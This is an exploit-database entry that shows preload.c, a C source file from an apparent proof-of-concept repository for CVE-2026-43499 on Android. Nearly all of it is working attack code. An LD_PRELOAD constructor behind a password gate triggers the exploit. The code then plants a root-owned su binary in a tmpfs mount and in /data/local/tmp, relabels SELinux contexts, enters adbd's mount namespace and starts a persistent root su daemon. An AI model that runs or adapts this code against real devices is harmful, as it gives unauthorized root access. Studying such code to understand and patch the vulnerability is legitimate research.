Exploit database

GH-020e15ae92b93fb78d3443c1117e2982

linuxoid-cn/cve-2026-43499-poc-analysis

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

169 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files11

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

source/src/preload.c

C · 10,312 bytes
#include "common.h"
#include <stdio.h>
#include <sys/mount.h>

#define SU_DST_DIR "/apex/com.android.virt/bin"
#define SU_DST SU_DST_DIR "/su"
#define SU_LOCAL "/data/local/tmp/su"
#define SU_SOCK "/data/local/tmp/temp_su.sock"
#define SU_LOG "/data/local/tmp/su_daemon.log"

extern const unsigned char embedded_su_start[];
extern const unsigned char embedded_su_end[];

static int write_full(int fd, const void *buf, size_t len) {
  const unsigned char *p = buf;
  while (len) {
    ssize_t n = write(fd, p, len);
    if (n < 0 && errno == EINTR) {
      continue;
    }
    if (n <= 0) {
      return 0;
    }
    p += n;
    len -= (size_t)n;
  }
  return 1;
}

static int path_is_mounted(const char *path) {
  int fd = open("/proc/mounts", O_RDONLY | O_CLOEXEC);
  if (fd < 0) {
    return 0;
  }

  char mounts[16384];
  ssize_t n = read(fd, mounts, sizeof(mounts) - 1);
  int saved_errno = errno;
  close(fd);
  if (n <= 0) {
    errno = saved_errno;
    return 0;
  }
  mounts[n] = 0;

  char needle[512];
  snprintf(needle, sizeof(needle), " %s ", path);
  return strstr(mounts, needle) != NULL;
}

static int ensure_su_mount(void) {
  if (path_is_mounted(SU_DST_DIR)) {
    return 1;
  }
  if (mount("tmpfs", SU_DST_DIR, "tmpfs", 0, "mode=0755,size=4m") == 0) {
    return 1;
  }
  return errno == EBUSY;
}

static void try_chcon(const char *path) {
  pid_t pid = fork();
  if (pid == 0) {
    execl("/system/bin/chcon", "chcon", "u:object_r:system_file:s0",
          path, (char *)NULL);
    _exit(127);
  }
  if (pid > 0) {
    while (waitpid(pid, NULL, 0) < 0 && errno == EINTR) {
    }
  }
}

static int write_embedded_su_file(const char *dir, const char *dst) {
  char tmp[256];
  snprintf(tmp, sizeof(tmp), "%s/.su.new.%d", dir, getpid());
  unlink(tmp);

  size_t size = (size_t)(embedded_su_end - embedded_su_start);
  int fd = open(tmp, O_WRONLY | O_CREAT | O_TRUNC | O_CLOEXEC, 0755);
  if (fd < 0) {
    return 0;
  }
  int ok = write_full(fd, embedded_su_start, size);
  int saved_errno = errno;
  if (ok) {
    ok = fchown(fd, 0, 0) == 0 && fchmod(fd, 0755) == 0;
    saved_errno = errno;
  }
  if (close(fd) != 0 && ok) {
    ok = 0;
    saved_errno = errno;
  }
  if (!ok) {
    unlink(tmp);
    errno = saved_errno;
    return 0;
  }

  try_chcon(tmp);
  if (rename(tmp, dst) != 0) {
    saved_errno = errno;
    unlink(tmp);
    errno = saved_errno;
    return 0;
  }
  try_chcon(dst);
  pr_success("embedded su wrote %zu bytes to %s\n", size, dst);
  return 1;
}

static int write_embedded_su(void) {
  if (!ensure_su_mount()) {
    return 0;
  }
  return write_embedded_su_file(SU_DST_DIR, SU_DST);
}

static pid_t find_adbd_pid(void) {
  DIR *dir = opendir("/proc");
  if (!dir) {
    return -1;
  }

  struct dirent *de;
  while ((de = readdir(dir)) != NULL) {
    char *end = NULL;
    long pid_long = strtol(de->d_name, &end, 10);
    if (!end || *end || pid_long <= 1 || pid_long > INT32_MAX) {
      continue;
    }

    char path[64];
    snprintf(path, sizeof(path), "/proc/%ld/comm", pid_long);
    char comm[32];
    read_first_line(path, comm, sizeof(comm));
    if (strcmp(comm, "adbd") == 0) {
      closedir(dir);
      return (pid_t)pid_long;
    }
  }

  closedir(dir);
  return -1;
}

static int install_su_in_pid_mntns(pid_t target) {
  pid_t child = fork();
  if (child == 0) {
    char ns_path[64];
    snprintf(ns_path, sizeof(ns_path), "/proc/%d/ns/mnt", target);
    int ns_fd = open(ns_path, O_RDONLY | O_CLOEXEC);
    if (ns_fd < 0) {
      _exit(2);
    }
    if (setns(ns_fd, CLONE_NEWNS) != 0) {
      _exit(3);
    }
    close(ns_fd);
    if (!ensure_su_mount()) {
      _exit(4);
    }
    _exit(write_embedded_su_file(SU_DST_DIR, SU_DST) ? 0 : 5);
  }
  if (child < 0) {
    return 0;
  }

  int status = 0;
  while (waitpid(child, &status, 0) < 0 && errno == EINTR) {
  }
  return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}

static int install_adb_visible_su(void) {
  pid_t adbd = find_adbd_pid();
  if (adbd <= 0) {
    pr_info("adb-visible su skipped: adbd pid not found\n");
    return 0;
  }
  int ok = install_su_in_pid_mntns(adbd);
  pr_info("adb-visible su install adbd=%d ok=%d path=%s\n", adbd, ok, SU_DST);
  return ok;
}

static int install_local_su_client(void) {
  int ok = write_embedded_su_file("/data/local/tmp", SU_LOCAL);
  pr_info("local su client install ok=%d path=%s\n", ok, SU_LOCAL);
  return ok;
}

static void install_extra_su_clients(void) {
  install_local_su_client();
  install_adb_visible_su();
}

static pid_t start_su_daemon(void) {
  unlink(SU_SOCK);
  unlink(SU_LOG);

  pid_t pid = fork();
  if (pid == 0) {
    setsid();
    int null_fd = open("/dev/null", O_RDONLY | O_CLOEXEC);
    if (null_fd >= 0) {
      dup2(null_fd, STDIN_FILENO);
    }
    int log_fd = open(SU_LOG, O_WRONLY | O_CREAT | O_TRUNC | O_CLOEXEC, 0666);
    if (log_fd >= 0) {
      dup2(log_fd, STDOUT_FILENO);
      dup2(log_fd, STDERR_FILENO);
    }

    long max_fd = sysconf(_SC_OPEN_MAX);
    if (max_fd < 0 || max_fd > 65536) {
      max_fd = 65536;
    }
    for (int fd = STDERR_FILENO + 1; fd < max_fd; fd++) {
      close(fd);
    }
    execl(SU_DST, "su", "--daemon", (char *)NULL);
    _exit(127);
  }
  return pid;
}

static int probe_su_daemon(pid_t daemon_pid) {
  if (daemon_pid <= 0 || kill(daemon_pid, 0) != 0) {
    return 0;
  }
  pid_t child = fork();
  if (child == 0) {
    execl(SU_LOCAL, "su", "-c",
          "test \"$(id -u)\" = 0 && test \"$(id -g)\" = 0",
          (char *)NULL);
    _exit(127);
  }
  if (child < 0) {
    return 0;
  }
  int status = 0;
  while (waitpid(child, &status, 0) < 0) {
    if (errno != EINTR) {
      return 0;
    }
  }
  return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}

int install_embedded_su(pid_t *daemon_pid) {
  if (daemon_pid) {
    *daemon_pid = -1;
  }
  if (!write_embedded_su()) {
    return 0;
  }
  install_extra_su_clients();

  pid_t pid = start_su_daemon();
  if (pid <= 0) {
    return 0;
  }
  if (daemon_pid) {
    *daemon_pid = pid;
  }

  for (int i = 0; i < 50; i++) {
    if (access(SU_SOCK, F_OK) == 0 && probe_su_daemon(pid)) {
      pr_success("embedded su daemon ready pid=%d socket=%s\n", pid, SU_SOCK);
      return 1;
    }
    usleep(100000);
  }

  errno = ETIMEDOUT;
  return 0;
}

#define TOKEN_LEN 16
#define TOKEN_ALPHABET "abcdefghijklmnopqrstuvwxyz0123456789"
#define TOKEN_RSA_N 0x308ae457250bf775ULL
#define TOKEN_RSA_E 65537ULL

static uint64_t token_modmul(uint64_t a, uint64_t b, uint64_t mod) {
  return (uint64_t)(((__uint128_t)a * b) % mod);
}

static uint64_t token_modpow(uint64_t base, uint64_t exp, uint64_t mod) {
  uint64_t result = 1;
  base %= mod;
  while (exp) {
    if (exp & 1) {
      result = token_modmul(result, base, mod);
    }
    base = token_modmul(base, base, mod);
    exp >>= 1;
  }
  return result;
}

static uint64_t token_hash(const char *token) {
  uint64_t h = 1469598103934665603ULL;
  for (size_t i = 0; token[i]; i++) {
    h ^= (unsigned char)token[i];
    h *= 1099511628211ULL;
  }
  return h % TOKEN_RSA_N;
}

static int read_random_bytes(unsigned char *buf, size_t len) {
  int fd = open("/dev/urandom", O_RDONLY | O_CLOEXEC);
  if (fd >= 0) {
    size_t off = 0;
    while (off < len) {
      ssize_t n = read(fd, buf + off, len - off);
      if (n < 0 && errno == EINTR) {
        continue;
      }
      if (n <= 0) {
        break;
      }
      off += (size_t)n;
    }
    close(fd);
    if (off == len) {
      return 1;
    }
  }

  uint64_t seed = ((uint64_t)time(NULL) << 32) ^ (uint64_t)getpid();
  for (size_t i = 0; i < len; i++) {
    seed = seed * 6364136223846793005ULL + 1442695040888963407ULL;
    buf[i] = (unsigned char)(seed >> 56);
  }
  return 1;
}

static void make_token(char token[TOKEN_LEN + 1]) {
  static const char alphabet[] = TOKEN_ALPHABET;
  unsigned char raw[TOKEN_LEN];
  read_random_bytes(raw, sizeof(raw));
  for (size_t i = 0; i < TOKEN_LEN; i++) {
    token[i] = alphabet[raw[i] % (sizeof(alphabet) - 1)];
  }
  token[TOKEN_LEN] = 0;
}

static int parse_password_blob(const char *text, uint64_t *out) {
  uint64_t value = 0;
  int digits = 0;
  while (*text == ' ' || *text == '\t' || *text == '\n' || *text == '\n') {
    text++;
  }
  if (text[0] == '0' && (text[1] == 'x' || text[1] == 'X')) {
    text += 2;
  }
  for (; *text; text++) {
    int v;
    if ('0' <= *text && *text <= '9') {
      v = *text - '0';
    } else if ('a' <= *text && *text <= 'f') {
      v = *text - 'a' + 10;
    } else if ('A' <= *text && *text <= 'F') {
      v = *text - 'A' + 10;
    } else if (*text == ' ' || *text == '\t' || *text == '\n' || *text == '\n') {
      break;
    } else {
      return 0;
    }
    if (digits >= 16) {
      return 0;
    }
    value = (value << 4) | (uint64_t)v;
    digits++;
  }
  if (digits == 0 || value >= TOKEN_RSA_N) {
    return 0;
  }
  *out = value;
  return 1;
}


static int verify_token_password(void) {
  char token[TOKEN_LEN + 1];
  char line[128];
  uint64_t blob;

  make_token(token);
  printf("\033[33m[Challenge]\033[0m \033[35m%s\033[0m\n", token);
  printf("\033[33m[Signature] Enter value: \033[0m");
  fflush(stdout);

  if (!fgets(line, sizeof(line), stdin)) {
    puts("\033[31mpassword read failed\033[0m");
    return 0;
  }
  if (!parse_password_blob(line, &blob)) {
    puts("\033[31mpassword format invalid\033[0m");
    return 0;
  }
  if (token_modpow(blob, TOKEN_RSA_E, TOKEN_RSA_N) != token_hash(token)) {
    puts("\033[31mpassword verify failed\033[0m");
    return 0;
  }
  puts("\033[32mpassword verify ok\033[0m");
  return 1;
}

__attribute__((constructor)) static void load(void) {
  static int started;
  if (started) {
    return;
  }
  started = 1;

  puts("\033[34m=======================================================================\033[0m");
  puts("\033[97m                     CVE-2026-43499 Challenge Gate\033[0m");
  puts("\033[34m=======================================================================\033[0m");
  printf("\033[32m[Author] Kernix\033[0m\n");
  printf("\033[32m[Repository] https://github.com/Linuxoid-cn/CVE-2026-43499-Poc-Analysis\033[0m\n");
  if (!verify_token_password()) {
    return;
  }

  unsetenv("LD_PRELOAD");

  char *argv[2] = {
    "preload.so",
    NULL,
  };

  pr_success("preload starting pid=%d\n", getpid());
  run_exploit(1, argv);
}